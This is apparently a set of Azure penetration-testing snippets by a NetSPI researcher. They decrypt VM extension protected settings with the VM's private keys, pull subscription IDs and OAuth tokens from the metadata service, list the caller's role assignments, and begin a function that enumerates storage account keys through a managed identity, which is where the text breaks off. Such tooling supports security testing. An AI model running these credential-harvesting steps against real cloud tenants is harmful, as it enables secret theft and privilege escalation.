kfosaaen

#!/bin/bash

# Find all ".settings" files in "/var/lib/waagent/" subdirectories
find /var/lib/waagent/ -type f -name "*.settings" -print0 | while IFS= read -r -d $'\0' file; do
	thumbprint=$(jq -r '.runtimeSettings[].handlerSettings.protectedSettingsCertThumbprint' $file)
	protectedSettingsDecrypted=$(jq -r '.runtimeSettings[].handlerSettings.protectedSettings' $file | base64 --decode | openssl smime -inform DER -decrypt -recip /var/lib/waagent/$thumbprint.crt -inkey /var/lib/waagent/$thumbprint.prv | jq .)
	
	echo "File: $file"
	echo "Public Settings: $publicSettings"
	echo "Decrypted Protected Settings: $protectedSettingsDecrypted"

kfosaaen

#---------Query MetaData for SubscriptionID---------#
$response2 = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
$subID = ($response2.Content | ConvertFrom-Json).compute.subscriptionId


#---------Get OAuth Token---------#
$response = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
$content = $response.Content | ConvertFrom-Json
$ArmToken = $content.access_token

kfosaaen

# Get a token and split out the payload
$token = ((Get-AzAccessToken).Token).Split(".")[1].Replace('-', '+').Replace('_', '/')
# Add padding, if needed
while ($token.Length % 4) {$token += "="}
# Base64 Decode, convert from json, extract OID, pass into filter for Get-AzRoleAssignment to find current roles
Get-AzRoleAssignment | where ObjectId -EQ ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($token)) | ConvertFrom-Json).oid

kfosaaen

Function get-MIStorageKeys{

    # Author: Karl Fosaaen (@kfosaaen), NetSPI - 2020
    # Description: PowerShell function for enumerating available storage account keys from a VM Managed Identity.
    # Pipe to "Export-Csv -NoTypeInformation" for easier exporting
    # Use the subID and ArmToken parameters to specify bearer tokens and subscriptions, handy for compromised bearer tokens from other services (CloudShell/AutomationAccounts)

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$false,